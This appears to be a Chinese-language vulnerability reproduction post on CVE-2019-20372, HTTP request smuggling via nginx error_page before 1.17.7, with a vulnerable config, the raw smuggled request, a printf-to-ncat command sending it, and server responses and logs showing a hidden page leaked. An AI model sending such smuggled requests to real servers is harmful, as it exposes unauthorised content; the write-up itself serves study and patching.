(CVE-2019-20372)Nginx_error_page_请求走私漏洞

# (CVE-2019-20372)Nginx error_page 请求走私漏洞

========

一、漏洞简介
————

Nginx 1.17.7之前版本中 error\_page
存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。

二、漏洞影响
————

Ngnix \< 1.17.7 三、复现过程 ------------ > 错误配置

server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 ‘This should be hidden!’;
}
}

这时候我们可以向服务器发送以下请求

GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

我们看一下服务器是怎么处理的

printf “GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n” | ncat localhost 80 –noshutdown

等于说是吧两个请求都间接的执行了,我们看一下burp里面的返回值

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org

302 Found

302 Found


nginx/1.17.6



HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!

再一下nginx服务器里面的日志

172.17.0.1 – – [06/Dec/2019:18:23:33 +0000] “GET /a HTTP/1.1” 302 145 “-” “-” “-”
172.17.0.1 – – [06/Dec/2019:18:23:33 +0000] “GET /_hidden/index.html HTTP/1.1” 200 22 “-”

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容